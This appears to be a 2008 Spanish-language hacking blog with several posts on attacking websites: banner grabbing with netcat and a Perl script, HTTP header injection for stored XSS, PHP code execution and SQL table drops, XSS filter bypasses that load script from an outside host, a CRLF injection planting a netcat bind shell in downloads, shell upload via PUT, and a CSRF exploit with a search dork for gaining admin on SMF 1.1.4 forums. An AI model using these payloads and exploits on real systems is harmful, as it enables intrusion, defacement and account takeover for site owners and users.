Obviamente el código se puede optimizar bastante y agregarle nuevas funcionalidades, pero eso ya se lo dejo a ustedes ;).

Salu2
5 0verl0ad Labs: 2008 Se trata de un bloc de notas con alguna característica adicional a gusto de mi amigo Vengador de las Sombras que fue quien me lo pidió que l...

HTTP Headers III : Banner Grabbing

Saludos!

Este va a ser el último paper que haga por separado acerca de técnicas de explotación y enumeración a través del protocolo HTTP. En esta ocasión quiero brindarles un breve paper sobre banner Grabbing. Digo lo de breve, porque estos tres papers que he publicado son sólo para abrir boca: Sknight me ha confirmado la creación en conjunto de un paper. La idea original de este paper es la de hacer uno en español que abarque el máximo posible de información sobre el tema, ya que por lo que hemos visto no hay casi ninguna publicación de esta índole (y de calidad) en nuestro idioma. Espero que os sea de utilidad ;).

Bueno, tras este paréntesis explicativo de porqué este paper va a ser algo corto y no va abarcar todo lo que debería (como por ejemplo el spoofing de banners), pongamonos manos a la obra.

Si alguna persona lee mi blog (cosa que dudo bastante XD) y se ha leido los anteriores capítulos (HTTP Headers I y II) sabrá que hasta ahora hemos tirado de utilidades tales como Live HTTP headers entre otras, las cuales nos han simplificado la vida bastante, y esto a la larga atrofia nuestro cerebro. Lo ideal a veces es usar cosas más antiguas y utilidades programadas por nosotros, así que hoy vamos a hacer las cosas... lo más a mano posible, para ir emancipandonos poco a poco de las utilidades de terceros. Así que hoy lo único que vamos a usar es algún programa que realice negociaciones por TCP (Netcat, CryptCat, Telnet, Putty, etc.) y un intérprete de perl ;).


Empecemos a ver las definiciones... ¿A qué estamos llamando banner? Estamos llamando banner a la informacion (como el programa, la versión, entre otras) de trasmite un servicio cuando trabajamos con él. Por ejemplo, cuando nosotros nos conectamos a un FTP:


Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Fl4mm1ng 0ur Sk1llZ: ftp Host.com.ar
Conectado a Host.com.ar.
220 vserver-vpvseu1 Microsoft FTP Service (Version 5.0).
Usuario (HOST.com.ar:(none)):


La parte coloreada en rojo sería el banner que informa acerca del servicio que corre por el puerto 21 (FTP). Al igual que con esto, los servidor, versiones de PHP, etc aparecen cuando hacemos alguna negociación por el puerto 80, o lo que traducido del geek común al idioma de las personas, cada vez que nos conectamos a una web.

Esta info la optenemos en las cabeceras cuando realizamos alguna petición a un servidor. Ahora os voy a enseñar como mandar una cabecera a través de netcat.

Para hacer una negociación con netcat para el envío de cabeceras, únicamente teneis que poner nc host 80 Si la conexión se ha producido correctamente, podreis escribir. Una cosa importantísima es que se deben de escribir las cabeceras acorde con el estandar, o si no tendremos errores. Bueno, entonces si hacemos:



Fl4mm1ng 0ur Sk1llZ: nc ficticio.com 80
GET / HTTP/1.0




Hay que tener encuenta que tras escribir GET / HTTP/1.0, para señalizar la finalización de la cabecera tendremos que pulsar dos veces enter (los dos CR/LF de fin de cabecera). Y el servidor nos responde con:


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0 MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Location: http://200.49.155.214/index.html
Date: Sat, 06 Sep 2008 00:21:03 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Thu, 06 Dec 2007 03:28:15 GMT
ETag: "eab1b49b837c81:1669"
Content-Length: 66



Vemos en el campo Server el banner. Bien ya sabemos a qué nos referimos cuando hablamos de "banners" pero... ¿Qué es el banner grabbing? El banner grabbing es una técnica de enumeración, para buscar un posible vector de ataque, que trata de usar la información del banner como referencia para saber los servicios que corre... Haciendo que nuestra auditoría se focalice más atendiendo a esos datos. Antes que nada decir que no debemos de fiarnos únicamente de los banners, puestos que estos son spoofeables[1]. Para hacer una correcta enumeración del servidor atacar se recomienda el uso de técnicas de fingerprinting[2] para obtener una info verídica.


Como ir haciendo esto constantemente puede convertirse en una tarea muy monótona, podemos codearnos un sencillo programa en PERL que haga esta función:


#!/usr/bin/perl

# Banner Grabber Example by Vengador de las Sombras (F.O.S TeaM)
# Permitida su distribución y editaje siempre y cuando guarden créditos

# Www.ArgeniversoHack.com.aR || RemoteExecution.orG || 0verl0ad.blogspot.com


unless ($ARGV[0]){
&uso
}

use IO::Socket::INET;

$host = $ARGV[0];
$port = $ARGV[1];
$size = "1000";

$peticion = "HEAD / HTTP\/1.0"
$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header

print "[+] Conectando con $host ...\n";

$socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "[-] No se ha podido conectar a $host";

print $socket $peticion; #Mandamos la cabecera
read $socket, $respuesta, $size; # Leemos la salida del Socket

@salida = split(/\n/, $respuesta);
foreach $linea (@salida){
if ($linea =~ /Server/){
$banner = $linea;
}
}

$_ = $banner; #Con todo esto
s/<ADDRESS>*//; #Lo que hacemos es
s/<\/ADDRESS>//; #Limpiar la línea de nuestro banner
$banner = $_; #Para que salga únicamente los datos qeu nosotros queremos

print "Banner de $host => $banner";
exit(1);

sub uso {
print "Uso: Banner <<HOST> <PORT>";
exit(0);

#Fin del programa


Con este sencillo code que os he dejado para que estudien y vean la sencillez de PERL (ahí promocionando XD). He comentado las líneas para que no haya ningun tipo de problema, de todas formas cualquier duda la pueden publicar que estaré encantado de resolverla.

En la actualidad estoy betatesteando junto con Seth una herramienta para realizar un fingerprint a un host remoto, basándose en cuatro tests[2] diferentes (HEAD, DELETE, improbe protocol version y Improbe Protocol).

Para finalizar sólo pediros que no me crucifiqueis por no haber extendido más sobre el tema y sólo arañar la superficie, pero no tenía qué publicar hoy, y me pareció bien hacer una introductoria al tema. Así que si quereis ver sobre este tema más a fondo, no os perdais el paper que vamos a preparar Sknight y yo ;).



Referencias:
[1] El poder de los Banners.. (Banner Grabbing) por C1c4tr1Z
[2] An Introduction to HTTP fingerprinting por Saumil Shah
5 0verl0ad Labs: 2008 Saludos! Este va a ser el último paper que haga por separado acerca de técnicas de explotación y enumeración a través del protocolo HTTP....

viernes, 5 de septiembre de 2008

HTTP Headers II : Inyectando código

Por Vengador de las Sombras (FOS TEAM)



Saludos!

Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vector de ataque, aportación pedida por Seth y por Em3trix y transformada en un pequeño paper. En esta ocasión quiero destacar la ayuda de Sknight , quien me ha estado pasando documentación sobre el tema en inglés, a fin de completar el paper con información referente y muy interesante (mucho más que cualqueir cosa que yo os pueda decir XD).


Bueno... en esta ocasión como el propio nombre lo indica, vamos a centrarnos en lo que viene siendo la inyección de código malicioso (ya sean sentecias SQL, PHP, JavaScript, etc.) dentro de las cabeceras para explotar algún servicio de la web. Como herramientas, vamos a usar las de siempre, el add on de firefox Live HTTP Headers para el sniffeo de las cabeceras HTTP y para modificarlas. Pueden usar otros, como Achilles, Tamper Data, etc... O si son más clásicos, pueden usar Netcat o Putty... para gusto los colores.


Cuando se suele hablar de "ataques a través de cabeceras" mucha gente se pierde, puesto que no sabe cómo explotar estas vulnerabilidades... Existen formas de que un usuario mande una cabecera modificada sin querer... esto lo veremos (si al final me animo) en el tercer paper (no es seguroq eu lo haga XD). En vez de eso, lo que os voy a proponer son aplicaciones web que utilizan las cabeceras y que no filtran bien las variables... luego podemos alterar el funcionamiento de dichas aplicaciones.

El primer y más sencillo caso con el que nos vamos a encontrar es un XSS. Para este ejemplo vamos a imaginarnos una aplicación PHP cuyo cometido es guardar los links que linkean a nuestra web. Existen varias formas de medir esto, una de ellas es guardando los referer que llegan a tu sitio al clickar sobre el link.


<?php
$ref_lista = fopen("links.html",a);
fwrite($ref_lista,'<a href=".$_SERVER['HTTP_REFERER'].'">'.$_SERVER['HTTP_REFERER'].'</a>');
fclose($ref_lista);
?>


Es un ejemplo tosco, pero imaginémonos que ahi se guardan y despues desde la web se hace un iframe al resultado, aplicandole unas hojas CSS para darle estilo y que se integre bien con el theme de nuestra web.

Si nosotros, llamémosnos "usuarios malintencionados", observamos dicho mecanismo por alguna clase de auditoría que estamos haciendo a la web, podríamos tirar de Live HTTP headers para spoofear la variable Referer: y agregarle un http://unaweb.index.php" onmouseover=alert(/FoS TeaM/); target="_blank. Ojo y esto es importante para poder inyectar en nuestro ejemplo el código malicioso debemos de dejar una comilla abierta, para ello le agrego el atributo target. En vez de usar onmouseover, podeis usar otras formas distintas... es sólo un PoC para demostrar cómo funcionaría, ya que por ejemplo si mandasemos una cabecera con un código más sencillo tipo:



GET /index.php HTTP/1.1
Host: Vulnerable.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://suckeame.com"><script>...</script>



Optendriamos un un resultado más satisfactorio, puesto que se ejecutaria automaticamente y no cuando pongamos únicamente el ratón encima del link.
Esta misma técnica es extrapolable a otro tipo de aplicaciones que no filtren bien, y que usen otros campos de las cabeceras, como por ejemplo User-Agent... He querido mostrar este ejemplo porque se trata de un XSS de Tipo-2 (persistente) que ejemplifica muy bien la utilización de las cabeceras como vector para explotar un XSS.


Si en vez de agregar a nuestra web el archivo links.html por iframes, lo hiciesemos por una sentencia include(), el bug se agrabaría y mucho, ya que de la misma forma tendríamos una PHP injection... lo que conllevaría que al explotarlo, pudiesemos tener una shell. Como PoC dejo esta cabecera:




GET /index.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <php ob_clean; system("uname -a"); ?>




A parte de PHP injections y de explotar XSS, también se pueden usar las cabeceras para explotar SQL injections, como primer caso voy a tomar un ejemplo de un paper[1] que me ha pasado Sknight que habla sobre el protocolo HTTP, cuyo autor es Trew (al final de este paper dejo un link hacia él). El ejemplo es de un script en PHP encargado de mirar las IPs usando para ello la cabecera X_FORWARDED_FOR, y haciendo una consulta a la DB comprueba si dicha IP se encuentra en la tabla de baneados... aquí os lo dejo:


$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);



En ese código vulnerable, podemos spoofear la cabecera y añadirle una SQL injection con el código foo'; DROP TALE baneados;--, provocando que se borre la tabla "baneados".

Igual que en ese ejemplo, podemos encontrar otros tipos de sentencias y como explotarlas... para ello dejo una referencia al final de este paper.


Bueno... al final me ha sido breve el paper... quiero decirles que probablemente haga en conjunto con otra persona un paper extenso que hable de todo sobre los Headers...

Ya saben, cualquier error, sugerencia o duda publiquenla.



REFERENCIAS
[1]HTTP a fondo
[2]SQL Injection CheatSheet
5 0verl0ad Labs: 2008 Por Vengador de las Sombras (FOS TEAM) Saludos! Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vecto...

jueves, 4 de septiembre de 2008

HTTP Headers I : Métodos HTTP

Saludos!

Bueno varios lectores del blog me han pedido que hiciera un par de publicaciones acerca de los HTTP Headers, y de técnicas de explotación, y vulnerabilidades, relacionados con ellos (han sido Seth y Em3trix quienes me lo han pedido). Voy a intentar hacer dos o tres papers acerca del tema (uno sobre métodos HTTP y otro sobre HTTP headers injections, tanto de SQL como de PHP y quizás un tercero sobre CR/LF injections).


Para evitar volver a tener que escribir una introducción hacia las cabeceras HTTP, pido la lectura de mi anterior paper sobre el tema, HTTP METHODS: Subiendo shell con PUT.


Si ya habeis leido ese paper, podemos continuar. Los métodos GET, POST y PUT, no los voy a explicar, puesto que los dos primeros no merecen la pena desde el punto de vista de realizar una auditoría, y el tercero ya lo vimos en profundiad en mi otro paper.


Empecemos viendo el método HEAD. Una cabecera que lleve ese método, tendrá una respuesta por parte del servidor como si se tratase de un GET, pero en vez de mostrar el contenido del archivo al que le hacemos "GET", loq ue mostrará será la información del servidor, incluyendo alguna información más, como por ejemplo la última vez que fue modificado el servidor.

Si leímos mi anterior paper, ya sabemos como sniffear las cabeceras y modificarlas, ahora usemos eso para poner HEAD:


HEAD / HTTP\1.1
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


Y obtenemos como respuesta:


HTTP/1.x 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 04 Sep 2008 13:32:36 GMT
X-Powered-By: ASP.NET
Content-Length: 35929
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSCQRSQTR=JFEIDLOBPNNHMEJHJDAPLNBK; path=/
Cache-Control: private


Cuando usamos un método que no es de los habituales (GET y POST) podemos obtener varios tipos de respuestas. Si todo ha ido bien, el servidor nos responderá con un OK, cuyo código es 200, en cambio si ha habido alguna complicación por parte del cliente (acceso restringido, no existe, o el método no esta allowed) la respuesta será de erro 4xx, por ejemplo, Method not allowed tiene como código 405, acceso restringido es 403, archivo no encotnrado en el servidor 404, etc. Cuando el error es interno del servidor, el error es un 5xx.

Bien, HEAD no tiene más complicación... ahora sigamos viendo otros métodos. El método DELETE, como su propio nombre indica, es el encargado de borrar un determinado archivo que indiquemos en la cabecera... Baste decir que no siempre que esté permitido tendremos permiso para hacerlo, a veces (como bien me recordó p0lk22 en un post de #RE) tenemos que crear algún tipo de certificado. La estructura de la cabecera a construir sería:


DELETE /index.php HTTP\1.1
Host:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive


Donde Index.php sería el archivo que deseamos borrar.

Despues hay muuuchos más métodos (Copy, Move, Propfind...) pero realmente que nos hagan falta conocer, creo que únicamente TRACE.

El método TRACE actúa de espejo, haciendo que el servidor responda lo mismo que le hemos mandado... Normalmente tiene cierta relación con los XSS, de hecho con TRACE hay una variante de ese método, el llamado XST. Para serles sincero nunca he conseguido explotar algo usando TRACE, así que no puedo explicarles algo más de este método... Pero sí que puedo dejarles un paper muy interesante: http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
5 0verl0ad Labs: 2008 Saludos! Bueno varios lectores del blog me han pedido que hiciera un par de publicaciones acerca de los HTTP Headers, y de técnicas de ex...

miércoles, 3 de septiembre de 2008

XSS: Bypassing de filtros


Saludos!

Hoy os traigo una serie de formas de bypassear filtros para poder explotar un XSS... Todo está sacado de mi artículo XSS y el Bypassing de filtros publicado en Argeniverso Hack. Como el artículo era muy extenso, sólo os traigo la parte de los filtros.Mi anterior paper (publicado en #RE aquél de XSS: Saltándonos las magic quotes y otros filtros) sobre este mismo tema, no era tan extenso ni abarcaba tantos filtros, y aún así a ciertas personas le gustó (por ejemplo a FR34K), en esta ocasión espero sorprenderles nuevamente.



ST
Primero definamos qué es el bypassing. El bypassing, para cualquier cosa, consiste en poder atravesar alguna medida de seguridad con un objetivo. En nuestro caso, la definición se amolda a "saltar un filtro". El primer tipo de filtro va a ser en los formularios en los cuales sólo te dejan escribir un número determinado de caracteres.

En los inputs, se puede colocar un parámetro el cual defina el máximo número de caracteres que se pueden escribir dentro del input, se trata de maxlength="numero". Si encontrásemos un input al estilo de:

<input type="text" name="input" maxlength="5"/>

No podríamos escribir nada interesante, puesto que únicamente tenemos espacio para escribir 5 letras.... Entonces si pensamos un poco, recordaremos cierta técnica enfocada a modificar un formulario antes de enviarse.... Sí, exacto: es hora de practicar form tampering.

Simplemente debemos de abrir alguna tool que nos permita modificar el código fuente, vamos al formulario en cuestión, y modificamos el maxlength por un número altísimo, por ejemplo:

<input type="text" name="input" maxlength="99999999999999999"/>

Ahora si probamos a escribir en nuestro campo, observaremos que ya sí podemos inyectar código malicioso.


Otro filtro muy común son las magic qoutes. Este filtro se ocupa de adherir una \ a las comillas que pongamos en nuestro código malicioso. Así si intentamos poner algo, "en teoría" modificaría nuestra sentencia haciéndola inservible... Pero sólo en teoría.

El primer consejo que os doy para saltar un filtro, es ver qué bloquea, y despues buscar la forma de no hacer eso que bloquea. Es decir, si no te deja poner comillas, no luches contra ello, evítalo y busca la forma de inyectar sin usar comillas. Un ejemplo sería meter el código malicioso en un .js alojado en un servidor externo, y entonces al hacer la inyección, la hacemos sin comillas:

<script src=Http://host.com/FoS.js></script>

Ya tendríamos nuestra bonito XSS explotado. Pero no siempre todo es tan fácil. Las magic quotes también pueden hacer el efecto contrario: que te impidan poner /, ya que le adhieren unas comillas. Estaríamos ante el mismo problema que antes... o incluso peor, puesto que se nos impide cerrar cualquier tipo de tag, ya que recordemos, en HTML es necesario cerrar los tags con .

Bien, no os asusteis, recordad mi consejo: No lucheis, evitad. Pues eso, evitemos tener que cerrar tags. Tenemos que realizar una búsqueda mental de elementos que no necesiten ser cerrados. Elementos como tales no encontraremos, pero..¿ y si os dijera que se puede meter código javascript dentro de un tag ?


Sip, así es. La idea original sería la de ejecutar algún evento "on" asociado a unas sentencias en JavaScript. En nuestro caso, y como ya espuse en otro paper, vamos a proceder a crear un error, y que al producirse el error tenga como respuesta la ejecución de JavaScript. Este elemento "on" es onerror. Tendríamos que poner simplemente onerror=Código Javascript.


Para producir el error vamos a poner un con una ruta ficticia. Al no poder visualizar la imagen, saltará el consecuente error que ejecutará el código malicioso. Lo que traducido sería:

<img src=. onerror=Alert(/FoS TeaM/)>

La cosa se puede poner más peliaguda aún, si lo que hace el filtro es impedir meter letras a la variable. Me refiero a ciertos filtros que te permiten ejecutar JavaScript, pero que dentro de la sentencia en sí no te dejan usar letras ni caracteres especiales. Para estos casos, podemos transformar nuestro código malicioso en los valores ASCII de los caracteres que lo componen, y despues incrustarlos a través de String.fromCha rCode(codigo ascii).


alert(String.fromCharCode(88,83,83));

Esto provocaría una ventanita de alert con el texto "XSS". Otra forma de saltar estos filtros es poniendo código malicioso en UNICODE, es decir, representando cada caracter con su valor Hexadecimal y añadiéndole a cada uno un % delante.

Y ya por último, otro filtro que sí que nos pone las cosas bien jodidas, la función Strip_Tags . Esta función se encarga de eliminar de una variable todo lo que esté entre < >. Ahora sí que la cosa está dificil, ¿eh?. ¿Qué os tengo dicho? No intentar atravesar, siempre evitar. Y eso haremos.

Que no podemos poner < >, pues no lo ponemos. Si recordamos a los XSS en formularios, para saltarlos había que cerrar Value y a partir de ahí inyectar... Pues ahora vamos a realizar una variante de esta técnica. Si sabemos algo de CSS, podemos recordar que se pueden poner URL en algunos elementos... Entonces si a nuestro input le hacemos esto:


<input type="text" name="input" value="" STYLE="background: url(url con codigo malicioso)">


Habremos conseguido inquistar una sentencia maligna dentro del tag propio de la página.


En muchos blogs te permiten usar ciertos tags permitidos, como o <li> y esas cosas. Ahí igualmente se podría inyectar el código malicioso al meter un <b onload="codigo">. La función Strip_tags no te deja poner tus propios tags, pero sí que te deja poner los que el webmaster haya puesto.




Byt3z a todos y espero que os haya gustado.
5 0verl0ad Labs: 2008 Saludos! Hoy os traigo una serie de formas de bypassear filtros para poder explotar un XSS... Todo está sacado de mi artículo XSS y el B...

lunes, 1 de septiembre de 2008

CRLF Injections: Infectando descargas

Saludos!


Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeXion (http://inyexion.com.ar/?num=113) que habla acerca de cómo infectar descargas usando esta técnica, aquí os la explico brevemente (recomiendo hechar un ojo al paper de InyeXion)


Un código PHP vulnerable a Source Code Disclosure, debido a que permite la descarga de cualquier tipo de archivo, puede convertirse en un vector de ataque para poder intrusear a una víctima. Tenemos un PHP como este:

header(”Content-Type: application/octet-stream”); header(”Content-Disposition: attachment; filename=”.$_REQUEST[”file”]);


Existen una serie de caracteres que HTTP utiliza como señales para dar saltos de línea y demás, estos caracteres son CR (carriage return) y LF (Line Feed), cuya representación es 0x0D y 0x0A.

Volviendo al ejemplo anterior en PHP, tendríamos una web para descargarnos archivos tipo www.miweb.com/descargas.php?file= , donde en file= pondríamos el archivo a descargar, véase por ejemplo:

www.miweb.com/descargas.php?file=programa.bat

Ahora bien, si a esa URL, le añadimos dos saltos de línea, el texto que haya acontinuación se transferirá como si fuese el propio código fuente del archivo. Por ejemplo, si añadiésemos %0d%0a%0d%0anc -l -p 57 -e cmd , se produciría el doble salto de linea, haciendo que nuestro archivo programa.bat contenga esas líneas, que lo que hacen es colocar una shell en el puerto 57.


Como podeis ver, esta técnica puede ser ampliable en su uso, y buscarse otros código s a inyectar en otras extensiones... todo lo que hay que tener es imaginación.
5 0verl0ad Labs: 2008 Saludos! Documentandome un poco acerca de las CRLF Injections y de HTTP response Splitting, me he topado con un paper del blog de InyeX...

domingo, 31 de agosto de 2008

Posters de Visual Studio 2008

Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un atajo para casi todas las tareas, por lo que puede llegar a ser muy difícil recordar todos. Aquí os dejo unos posters que recogen todos y ademas son bien chulos. También uno del FrameWork 3.5 con los tipos y Namespaces más utilizados. Unos posters de lujo:

Póster Visual Basic 2008

Póster Visual C# 2008


Póster Visual C++ 2008

Póster Framework 3.5

Salu2
5 0verl0ad Labs: 2008 Todos sabemos que los atajos del teclado son realmente útiles y nuestra productividad aumenta si los utilizamos. Visual Studio 2008 posee un...

jueves, 28 de agosto de 2008

WPF Application Paper

Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF.
Si no te quieres quedar atrás en lo que a programación respecta, ya sabes cual debe ser tu próxima lectura.




Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.
5 0verl0ad Labs: 2008 Este documento, nos muestra, desde un nivel básico, paso a paso y mediante ejemplos, como crear aplicaciones WPF. Si no te quieres quedar at...

martes, 26 de agosto de 2008

CSRF: Explotando con .htaccess

Saludos!


Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y habilidad social (lo que denominados ingenieria social) del atacante para conseguir que nuestra víctima viera una web, o clicase sobre un link... Gracias a una vulnerabilidad "presuntamente" descubierta por WHK esto se ha terminado (digo presuntamente, porque yo ya había leido hace tiempo algo relacionado con esto, pero nunca vi esto exactamente, por eso no puedo decir si realmente ha sido él o no el descubridor, yo en todo caso esta información la he sacado de un post suyo en elhacker.net).


La vulneravilidad está presente en todos aquellos sistemas o aplicaciones webs que permitan el uso de tags para la visualización de imágenes. Hoy en día creo que el 100% de los foros podrían ser vulnerables debido a que todos usan [img][/img].


Para explotar esta vulnerabilidad es necesario crear un .htaccess en un directorio, y agregarle este contenido:

<Files *.jpg>
ForceType application/x-httpd-php
</Files>

Estas líneas lo que haran será que se interpreten los archivos .jpg como si se tratasen de aplicaciones, lo que nos permitiría meter código PHP dentro del source de un .jpg y que éste se ejecute cuando se visualice en otra página.

Aqui les dejo un exploit para usar en las firmas de los foros SMF 1.1.4 y ser admins... Tendreis que modificarle un par de cosillas (anti-Kiddies)

<?php
/*
SMF 1.1.4 ADD USER IN A GROUP VULNERABILITY
PoC codded by Vengador de las Sombras
Dork: "Powered by SMF 1.1.4"
============================================
Cross Site Request Forguery
============================================
Gr3tZ to: Lëssiëm, WaesWaes, Plaga, Lutscher
Phonix, Fr34k, Keynet, CHR0N05,
Mycrox & #RE & ArgeniversoHack
Members
=============================================
(c)F.o.S. TeaM 2008
*
$foro = $_GET['foro'];
if(isset($_GET['foro'])){
header("Location: ".$foro./indez.php?action=membergroups;sa=members;group=1;realName=[OurNickName];toAdd=usertoadd&add=Add+Members&sc=[Admin ID]"):
}
*/
?>


Ya sabeis como utilizarlo :D
5 0verl0ad Labs: 2008 Saludos! Muchas veces no sabemos cómo ingeniárnosla para poder explotar un CSRF, puesto que hasta hoy esto ha requerido de la pericia y ...

lunes, 25 de agosto de 2008

HTTP METHODS: Subiendo Shell mediante PUT

Saludos!


El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del método HTTP PUT. Antes que nada necesito hacer una pequeña introducción para que comprendais cómo funcionan los Métodos HTTP, veremos algunos métodos y posteriormente pasare a la explicación de como usar PUT (Si el servidor lo tiene Allowed) para modificar un archivo, o para subir una shell.


El protocolo HTTP tiene una serie de métodos que permiten interaccionar al cliente con un servidor (generalmente en el que se aloja una web). Las relaciones entre cliente y servidor, se lleva a cabo a través de cabeceras, las que manda el cliente las denominaremos peticiones. El servidor manda otras cabeceras en respuesta a esas peticiones que el cliente mandó.

Existen varios tipos de cabeceras, entre las que destacan OPTIONS, HEAD, PUT, DELETE, MOVE, COPY, POST, GET... Estoy más seguro que estaris más familiarizados con los métodos POST y GET, sobre todo los que sepan PHP.

Para poder visualizar una web a través de un navegador, el navegador a tenido primero que mandar una cabecera con un metodo tipo GET (este tipo de metodo se encarga de mostrar el código fuente de un archivo, el cual posteriormente el navegador interpretará) a la cual el servidor ha respondido mandandole una cabecera con algunos datos, y que además contiene el source del archivo al que le hemos hecho GET.

Quizás os haya liado un poco con tanta palabrería, así que os lo explico rápidamente mostrando un ejemplo:

-Navegador manda una cabecera:

GET /index.php HTTP/1.1
Host: hostfalso.com



-Servidor le contesta:

HTTP/1.x 200 OK
Date: Mon, 25 Aug 2008 14:25:39 GMT
Server: Apache
Conection: Keep-Alive
Keep-Alive: Timeout=2, max=125

<h1>Hello World</h1>


Como podeis observar, la estructúra básica de una cabecera es:
[Metodo] [Archivo] HTTP/
Host: El host


Y debajo otros campos, como pueden ser el tiempo de vida, la cookie, el user-agent, etc...


Podemos usar add ons como Tamper Data, Live HTTP Header, o Achilles para poder sniffear estas cabeceras y poder modificarlas posteriormente. Nosotros vamos a servirnos de Live HTTP Header (para FireFox) para modificar las peticiones y así usar otros métodos...


Ahora retomemos aquello de lo que empecemos a hablar, los métodos HTTP. Si recordais, nombré a OPTIONS. Este método informa sobre los metodos que el servidor tiene Allowed (permitidos). Lo normal es que tengan muy restringido esto... Puesto como ya le enseñe a RGB90 en dos Webs, que si no se tiene cuidado podemos defacear perfectamente, o borrar archivos...

Bueno, como iba diciendo, si sniffeamos una cabecera con Live HTTP Headers, y le damos a REPETIR y cambiamos GET por OPTIONS, volvemos a dar a repetir... Y obtendremos una nueva respuesta por parte del servidor, en la cual aparecerá más data, y la parte que nos interesa los métodos permitidos.

Éstos aparecen en una línea que comienza con Allow: [Metodos permitidos]. En el caso de que tuviesen permito el método PUT, podríamos subir una shell...

Ahora hablemos un poco sobre este método... El método PUT es lo contrario de GET. GET, por su parte lo que hace es leer el source del archivo al que le hacemos la petición, en cambio, PUT lo que hace es sobreescribir sobre el código fuente del archivo. Para usar PUT simplemente devemos de mandar una cabecera así:

PUT /archivo.php HTTP/1.1
Host: Ficticio.com

AQUI EL CODIGO FUENTE


Si el archivo al que le hacemos PUT existe, lo que ocurre es que se sobreescribe nuestro código fuente sobre el que ya había, en cambio si no existe el archivo... lo crea. Por lo tanto, de esta forma podemos subir una shell a un servidor que tenga permitido el método PUT.

Baste decir que si el webmaster mira sus logs, podrá ver perfectamente que hemos recurrido a esta técnica, puesto que canta mucho XD.


Podeis codearos algún exploit, yo anoche estuve codeando uno para este tutorial, se lo pasé a Seth para que lo betatesteara, me mandó los errores y los corregí, ahora el problema es de diseño, es decir funciona sin errores, pero me salta como que PUT está allowed siempre -.-, dentro de un rato lo revisaré haber si consigo arreglar eso y lo publico.
5 0verl0ad Labs: 2008 Saludos! El caso es que ayer estaba hablando con RGB90, cuando salió este tema de conversación, el de defacear una web a través del m...

domingo, 24 de agosto de 2008

Form Tampering: Modificando Formularios



Saludos!

Hoy vengo a explcarles una técnica de las que realmente poco se utiliza por su escasez, y de utilizarse es para explotar alguna nimiedad, del estilo de bypassear un filtro de maxlenght en un input. En ningún caso podemos considerar al Form Tampering como una vulnerabilidad, puesto que no se explota nada, hay que entenderlo más bien como una técnica.

Esta técnica consiste en modificar el contenido de un formulario antes de ser enviado. ¿Qué importancia tiene esto? Pues en realidad sólo sirve para poder modificar contenido antes de que sea procesado. La gracia de esta técnica suele ser cuando encontramos en un formulario campos "hidden" cuyo contenido pueda tener mucha relevancia, como por ejemplo un precio (véase el video de Login-RooT acerca de este tema), o como en el caso de perfil.com, podemos construirnos un mailer (vulnerabilidad descubierta por r0dr1g0), o muchas otras cosas, dependiendo de qué campos encontremos.


